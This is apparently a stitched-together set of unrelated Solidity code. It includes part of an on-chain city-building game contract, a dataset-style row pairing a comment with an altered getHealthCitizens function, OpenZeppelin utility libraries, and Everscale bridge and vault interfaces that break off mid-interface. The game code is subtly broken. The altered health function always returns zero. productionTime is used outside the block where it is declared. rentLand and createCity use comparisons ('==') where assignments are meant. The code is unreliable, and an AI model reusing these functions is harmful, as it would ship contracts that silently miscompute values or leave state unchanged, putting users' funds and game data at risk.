uint counter = 0;
for (uint i = 0; i < cities.length; i++) {
if (cities[i].ownerAddress == _senderAddress) {
result[counter] = i;
counter++;
}
}
return result;
}
function getCountSenderCities(address _senderAddress) public view returns(uint) {
uint counter = 0;
for (uint i = 0; i < cities.length; i++) {
if (cities[i].ownerAddress == _senderAddress) {
counter++;
}
}
return(counter);
}
// We use this function to return the population of a city
function getCityPopulation(uint _cityId) public view returns (uint) {
// We multiply the number of houses per 5 to get the population of a city
uint _cityActiveBuildings = getCountBuildings(_cityId, 0, true);
return(_cityActiveBuildings * 5);
}
// Count the number of active or pending buildings
function getCountAllBuildings(uint _cityId, bool _active) public view returns(uint) {
uint counter = 0;
for (uint i = 0; i < buildings.length; i++) {
if(_active == true) {
// If active == true we loop through the active buildings
if(buildings[i].cityId == _cityId && buildings[i].readyTime < now) {
counter++;
}
} else {
// If active == false we loop through the pending buildings
if(buildings[i].cityId == _cityId && buildings[i].readyTime >= now) {
counter++;
}
}
}
return counter;
}
// Count the number of active or pending buildings
function getCountBuildings(uint _cityId, uint _buildingType, bool _active) public view returns(uint) {
uint counter = 0;
for (uint i = 0; i < buildings.length; i++) {
if(_active == true) {
// If active == true we loop through the active buildings
if(buildings[i].buildingType == _buildingType && buildings[i].cityId == _cityId && buildings[i].readyTime < now) {
counter++;
}
} else {
// If active == false we loop through the pending buildings
if(buildings[i].buildingType == _buildingType && buildings[i].cityId == _cityId && buildings[i].readyTime >= now) {
counter++;
}
}
}
return counter;
}
// Get the active buildings (by type) owned by a specific city
function getCityActiveBuildings(uint _cityId, uint _buildingType) public view returns(uint[]) {
uint[] memory result = new uint[](getCountBuildings(_cityId, _buildingType, true));
uint counter = 0;
for (uint i = 0; i < buildings.length; i++) {
// We add the ready building owned by this user
if (buildings[i].buildingType == _buildingType && buildings[i].cityId == _cityId && buildings[i].readyTime < now) {
result[counter] = i;
counter++;
}
}
return result;
}
// Get the pending buildings (by type) owned by a specific city
function getCityPendingBuildings(uint _cityId, uint _buildingType) public view returns(uint[]) {
uint[] memory result = new uint[](getCountBuildings(_cityId, _buildingType, false));
uint counter = 0;
for (uint i = 0; i < buildings.length; i++) {
// We add the pending building owned by this user
if (buildings[i].buildingType == _buildingType && buildings[i].cityId == _cityId && buildings[i].readyTime >= now) {
result[counter] = i;
counter++;
}
}
return result;
}
// Get Businesses per type
function getActiveBusinessesPerType(uint _businessType) public view returns(uint[]) {
uint[] memory result = new uint[](CountBusinessesPerType[_businessType]);
uint counter = 0;
for (uint i = 0; i < businesses.length; i++) {
// We add the pending building owned by this user
if (businesses[i].itemToProduce == _businessType) {
result[counter] = i;
counter++;
}
}
// returns an array of id for the active businesses
return result;
}
// Get Businesses per city
function getActiveBusinessesPerCity(uint _cityId) public view returns(uint[]) {
uint[] memory result = new uint[](CityBusinessCount[_cityId]);
uint counter = 0;
for (uint i = 0; i < businesses.length; i++) {
// We add the pending building owned by this user
if (businesses[i].cityId == _cityId) {
result[counter] = i;
counter++;
}
}
// returns an array of id for the active businesses
return result;
}
// Get the sales generated by a city
function getSalesCity(uint _cityId) public view returns(uint[]) {
uint[] memory result = new uint[](CitySalesTransactionsCount[_cityId]);
uint counter = 0;
uint startId = transactions.length - 1;
for (uint i = 0; i < transactions.length; i++) {
uint _tId = startId - i;
// We add the pending building owned by this user
if (transactions[_tId].sellerId == _cityId) {
result[counter] = _tId;
counter++;
}
}
// returns an array of id for the sales generated by the city (the most recent sales comes in first)
return result;
}
// Return the health of the citizens of a city
function getHealthCitizens(uint _cityId) public view returns(uint) {
uint _hospitalsCount = getCountBuildings(_cityId, 2, true);
uint pointsHealth = (_hospitalsCount * 500) + 50;
uint _population = getCityPopulation(_cityId);
uint256 _healthPopulation = 10;
if(_population > 0) {
_healthPopulation = (pointsHealth / uint256(_population));
} else {
_healthPopulation = 0;
}
// The indicator can't be more than 10
if(_healthPopulation > 10) {
_healthPopulation = 10;
}
return(_healthPopulation);
}
// Return the education of the citizens of a city
function getEducationCitizens(uint _cityId) public view returns(uint) {
uint _schoolsCount = getCountBuildings(_cityId, 1, true);
uint pointsEducation = (_schoolsCount * 250) + 25;
uint _population = getCityPopulation(_cityId);
uint256 _educationPopulation = 10;
if(_population > 0) {
_educationPopulation = (pointsEducation / uint256(_population));
} else {
_educationPopulation = 0;
}
if(_educationPopulation > 10) {
_educationPopulation = 10;
}
return(_educationPopulation);
}
// Return the happiness of the citizens of a city
function getHappinessCitizens(uint _cityId) public view returns(uint) {
uint _amusementCount = getCountBuildings(_cityId, 3, true);
uint pointsAmusement = (_amusementCount * 350) + 35;
uint _population = getCityPopulation(_cityId);
uint256 _amusementPopulation = 10;
if(_population > 0) {
_amusementPopulation = (pointsAmusement / uint256(_population));
} else {
_amusementPopulation = 0;
}
// The indicator can't be more than 10
if(_amusementPopulation > 10) {
_amusementPopulation = 10;
}
return(_amusementPopulation);
}
// Return the productivity of the citizens of a city
function getProductivityCitizens(uint _cityId) public view returns(uint) {
return((getEducationCitizens(_cityId) + getHealthCitizens(_cityId) + getHappinessCitizens(_cityId)) / 3);
}
// This function returns the maximum businesses a city can build (according to its population)
function getMaxBusinessesPerCity(uint _cityId) public view returns(uint) {
uint _citizens = getCityPopulation(_cityId);
uint _maxBusinesses;
// Calculate the max amount of businesses available per city
if(_citizens >= 75) {
_maxBusinesses = 4;
} else if(_citizens >= 50) {
_maxBusinesses = 3;
} else if(_citizens >= 25) {
_maxBusinesses = 2;
} else {
_maxBusinesses = 1;
}
return(_maxBusinesses);
}
function getCountCities() public view returns(uint) {
return(cities.length);
}
///
/// ACTIONS
///
// Land owner can use this function to remove a city from their land
function removeTenant(uint _landId) public {
require(lands[_landId].ownerAddress == msg.sender);
lands[_landId].landForRent = false;
lands[_landId].isOccupied = false;
cities[lands[_landId].cityRentingId].landId = 0;
lands[_landId].cityRentingId = 0;
}
// We use this function to purchase a business
// Businesses are free to create but each city can run only one business.
function createBusiness(uint _itemId, uint256 _itemPrice, uint _cityId) public {
// We check if the price of the item sold is enough regarding the current price of the metal
require(_itemPrice >= BuildingTypeMetalNeeded[_itemId] * priceMetal);
// We verifiy that the sender is the owner of the city
require(cities[_cityId].ownerAddress == msg.sender);
// We check that the city has enough squares to host this new building
require((cities[_cityId].squaresOccupied + BuildingTypeSquaresOccupied[4]) <= 100);
// We check if the city has enough population to create this business (1 building / 25 citizens)
require(CityBusinessCount[_cityId] < getMaxBusinessesPerCity(_cityId));
// We create the business
businesses.push(Business(_itemId, _itemPrice, _cityId, 0));
// We increment the businesses count for this type and city
CountBusinessesPerType[_itemId]++;
// We increment the count of businesses for this city
CityBusinessCount[_cityId]++;
// Increment the squares used in this land
cities[_cityId].squaresOccupied = cities[_cityId].squaresOccupied + BuildingTypeSquaresOccupied[4];
}
// This function can let business owner update the price of the building they are selling
function updateBusiness(uint _businessId, uint256 _itemPrice) public {
// We check if the user is the owner of the business
require(cities[businesses[_businessId].cityId].ownerAddress == msg.sender);
// We check if the price of the item sold is enough regarding the current price of the metal
require(_itemPrice >= BuildingTypeMetalNeeded[businesses[_businessId].itemToProduce] * priceMetal);
businesses[_businessId].itemPrice = _itemPrice;
}
// We use this function to purchase metal
function purchaseMetal(uint _cityId, uint _amount) public payable {
// We check that the user is paying the correct price
require(msg.value == _amount * priceMetal);
// We verifiy that the sender is the owner of the city
require(cities[_cityId].ownerAddress == msg.sender);
// Transfer the amount paid to the ceo
ceoAddress.transfer(msg.value);
// Add the metal to the city stock
cities[_cityId].metalStock = cities[_cityId].metalStock + _amount;
}
// This function will return the production time for a specific business
function getProductionTimeBusiness(uint _businessId) public view returns(uint256) {
uint _productivityIndicator = getProductivityCitizens(businesses[_businessId].cityId);
uint _countCitizens = getCityPopulation(businesses[_businessId].cityId);
uint256 productivityFinal;
if(_countCitizens == 0) {
// The min production time with 0 citizens should be 7000
productionTime = 7000;
} else {
// We calculat the production time
if(_productivityIndicator <= 1) {
productivityFinal = _countCitizens;
} else {
productivityFinal = _countCitizens * (_productivityIndicator / 2);
}
uint256 productionTime = 60000 / uint256(productivityFinal);
}
return(productionTime);
}
// We use this function to purchase a building from a business
function purchaseBuilding(uint _itemId, uint _businessId, uint _cityId) public payable {
// We verify that the user is paying the correct price
require(msg.value == businesses[_businessId].itemPrice);
// We verifiy that the sender is the owner of the city
require(cities[_cityId].ownerAddress == msg.sender);
// We check if this business is authorized to produce this building
require(_itemId == businesses[_businessId].itemToProduce);
// We check if the city where the business is located as enough Metal in Stock
require(cities[businesses[_businessId].cityId].metalStock >= BuildingTypeMetalNeeded[_itemId]);
// We check that the city has enough squares to host this new building
require((cities[_cityId].squaresOccupied + BuildingTypeSquaresOccupied[_itemId]) <= 100);
// We check if the business is ready to produce another building
require(businesses[_businessId].readyTime < now);
uint256 onePercent = msg.value / 100;
// Send commission of the amount paid to land owner of where the business is located
uint _landId = cities[businesses[_businessId].cityId].landId;
address landOwner = lands[_landId].ownerAddress;
uint256 landOwnerCommission = onePercent * lands[cities[businesses[_businessId].cityId].landId].landOwnerCommission;
landOwner.transfer(landOwnerCommission);
// Send the rest to the business owner
cities[businesses[_businessId].cityId].ownerAddress.transfer(msg.value - landOwnerCommission);
// Reduce the metal stock of the city where the business is located
cities[businesses[_businessId].cityId].metalStock = cities[businesses[_businessId].cityId].metalStock - BuildingTypeMetalNeeded[_itemId];
// Calculate production time
uint productionTime = getProductionTimeBusiness(_businessId);
uint32 _buildingReadyTime = uint32(now + productionTime);
// Update production time for the business
businesses[_businessId].readyTime = uint32(now + productionTime);
// Create the building
buildings.push(Building(_itemId, _cityId, _buildingReadyTime));
// Increment the squares used in this land
cities[_cityId].squaresOccupied = cities[_cityId].squaresOccupied + BuildingTypeSquaresOccupied[_itemId];
// Increment the GDP generated by this city
cities[_cityId].cityGdp = cities[_cityId].cityGdp + msg.value;
// Increment the buildings count in this city
CityBuildingsCount[_cityId]++;
// Save transaction in smart contract
transactions.push(Transaction(_cityId, businesses[_businessId].cityId, msg.value, _itemId, block.number));
CitySalesTransactionsCount[businesses[_businessId].cityId]++;
}
// We use this function to let the land owner update its land
function updateLand(uint _landId, uint256 _landPrice, uint _typeUpdate, uint _commission) public {
require(lands[_landId].ownerAddress == msg.sender);
/// Types update:
/// 0: Sell land
/// 1: Put the land for rent
if(_typeUpdate == 0) {
// Land is for sale
lands[_landId].landForSale = true;
lands[_landId].landForRent = false;
lands[_landId].landPrice = _landPrice;
} else if(_typeUpdate == 1) {
// The owner can't change the commission if the land is occupied
require(lands[_landId].isOccupied == false);
// Land is for rent
lands[_landId].landForRent = true;
lands[_landId].landForSale = false;
lands[_landId].landOwnerCommission = _commission;
} else if(_typeUpdate == 2) {
// The owner cancel the sale of its land
lands[_landId].landForRent = false;
lands[_landId].landForSale = false;
}
}
function purchaseLand(uint _landId, uint _typePurchase, uint _commission) public payable {
require(lands[_landId].landForSale == true);
require(msg.value == lands[_landId].landPrice);
// Transfer the amount paid to the previous land owner
lands[_landId].ownerAddress.transfer(msg.value);
// Update the land
lands[_landId].ownerAddress = msg.sender;
lands[_landId].landForSale = false;
/// _typePurchase:
/// 0: Create city
/// 1: Rent the land
/// 2: Cancel sale
if(_typePurchase == 0) {
// The user in purchasing the land to build the city on top of it we create the city directly
createCity(_landId);
} else if(_typePurchase == 1) {
// The user is purchasing the land to rent it to another user
lands[_landId].landForRent = true;
lands[_landId].landForSale = false;
lands[_landId].landOwnerCommission = _commission;
}
}
// We use this function to let users rent lands.
function rentLand(uint _landId, bool _createCity, uint _cityId) public {
// The owner can rent the land even if it's not marked forRent
if(lands[_landId].ownerAddress != msg.sender) {
require(lands[_landId].landForRent == true);
}
// Cities can't rent a land if it's already occupied
require(lands[_landId].isOccupied == false);
if(_createCity == true) {
// We create the city if the user is renting this land for a new city
createCity(_landId);
} else {
// Cities can't rent a land if they are already landing one
require(cities[_cityId].landId == 0);
// We update the land and city if the user is renting the land for an existing city
cities[_cityId].landId = _landId;
lands[_landId].cityRentingId = _cityId;
lands[_landId].landForSale == false;
lands[_landId].landForRent == true;
lands[_landId].isOccupied = true;
}
}
function createCity(uint _landId) public {
require(lands[_landId].isOccupied == false);
// Create the city
uint cityId = cities.push(City(_landId, msg.sender, 0, 0, false, 0, 0)) - 1;
lands[_landId].landForSale == false;
lands[_landId].landForRent == false;
lands[_landId].cityRentingId = cityId;
lands[_landId].isOccupied = true;
}
// The dev can use this function to create an innocupied land
function CreateLand(uint256 _landPrice, address _owner) public onlyCeo {
// We can't create more than 300 lands.
if(lands.length < 300) {
lands.push(Land(_owner, _landPrice, false, false, 0, false, 0));
}
}
function UpdateInitiateContractAddress(address _newAddress) public onlyCeo {
InitiateLandsAddress = _newAddress;
}
// We initialize some datas with this function
function Initialize() public onlyCeo {
// To be able to use the land id in the city struct
lands.push(Land(ceoAddress, 0, false, false, 5, true, 0)); // Fake Land #0 is created here
// Save the amount of metal needed to produce the buildings
BuildingTypeMetalNeeded[0] = 3;
BuildingTypeMetalNeeded[1] = 4;
BuildingTypeMetalNeeded[2] = 5;
BuildingTypeMetalNeeded[3] = 4;
// Save the squares used by buildings
BuildingTypeSquaresOccupied[0] = 2;
BuildingTypeSquaresOccupied[1] = 4;
BuildingTypeSquaresOccupied[2] = 6;
BuildingTypeSquaresOccupied[3] = 4;
BuildingTypeSquaresOccupied[4] = 5; // Businesses
}
} | Return the health of the citizens of a city The indicator can't be more than 10 | function getHealthCitizens(uint _cityId) public view returns(uint) {
uint _hospitalsCount = getCountBuildings(_cityId, 2, true);
uint pointsHealth = (_hospitalsCount * 500) + 50;
uint _population = getCityPopulation(_cityId);
uint256 _healthPopulation = 10;
if(_population > 0) {
_healthPopulation = (pointsHealth / uint256(_population));
_healthPopulation = 0;
}
if(_healthPopulation > 10) {
_healthPopulation = 10;
}
return(_healthPopulation);
}
| 2,550,526 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "./IEverscale.sol";
pragma experimental ABIEncoderV2;
interface IBridge is IEverscale {
struct Round {
uint32 end;
uint32 ttl;
uint32 relays;
uint32 requiredSignatures;
}
function updateMinimumRequiredSignatures(uint32 _minimumRequiredSignatures) external;
function setConfiguration(EverscaleAddress calldata _roundRelaysConfiguration) external;
function updateRoundTTL(uint32 _roundTTL) external;
function isRelay(
uint32 round,
address candidate
) external view returns (bool);
function isBanned(
address candidate
) external view returns (bool);
function isRoundRotten(
uint32 round
) external view returns (bool);
function verifySignedEverscaleEvent(
bytes memory payload,
bytes[] memory signatures
) external view returns (uint32);
function setRoundRelays(
bytes calldata payload,
bytes[] calldata signatures
) external;
function forceRoundRelays(
uint160[] calldata _relays,
uint32 roundEnd
) external;
function banRelays(
address[] calldata _relays
) external;
function unbanRelays(
address[] calldata _relays
) external;
function pause() external;
function unpause() external;
function setRoundSubmitter(address _roundSubmitter) external;
event EmergencyShutdown(bool active);
event UpdateMinimumRequiredSignatures(uint32 value);
event UpdateRoundTTL(uint32 value);
event UpdateRoundRelaysConfiguration(EverscaleAddress configuration);
event UpdateRoundSubmitter(address _roundSubmitter);
event NewRound(uint32 indexed round, Round meta);
event RoundRelay(uint32 indexed round, address indexed relay);
event BanRelay(address indexed relay, bool status);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
pragma experimental ABIEncoderV2;
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
interface IEverscale {
struct EverscaleAddress {
int128 wid;
uint256 addr;
}
struct EverscaleEvent {
uint64 eventTransactionLt;
uint32 eventTimestamp;
bytes eventData;
int8 configurationWid;
uint256 configurationAddress;
int8 eventContractWid;
uint256 eventContractAddress;
address proxy;
uint32 round;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
interface IStrategy {
function vault() external view returns (address);
function want() external view returns (address);
function isActive() external view returns (bool);
function delegatedAssets() external view returns (uint256);
function estimatedTotalAssets() external view returns (uint256);
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss);
function migrate(address newStrategy) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "./IVaultBasic.sol";
interface IVault is IVaultBasic {
enum ApproveStatus { NotRequired, Required, Approved, Rejected }
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalSkim;
uint256 totalLoss;
address rewardsManager;
EverscaleAddress rewards;
}
struct PendingWithdrawalParams {
uint256 amount;
uint256 bounty;
uint256 timestamp;
ApproveStatus approveStatus;
}
struct PendingWithdrawalId {
address recipient;
uint256 id;
}
struct WithdrawalPeriodParams {
uint256 total;
uint256 considered;
}
function initialize(
address _token,
address _bridge,
address _governance,
uint _targetDecimals,
EverscaleAddress memory _rewards
) external;
function withdrawGuardian() external view returns (address);
function pendingWithdrawalsPerUser(address user) external view returns (uint);
function pendingWithdrawals(
address user,
uint id
) external view returns (PendingWithdrawalParams memory);
function pendingWithdrawalsTotal() external view returns (uint);
function managementFee() external view returns (uint256);
function performanceFee() external view returns (uint256);
function strategies(
address strategyId
) external view returns (StrategyParams memory);
function withdrawalQueue() external view returns (address[20] memory);
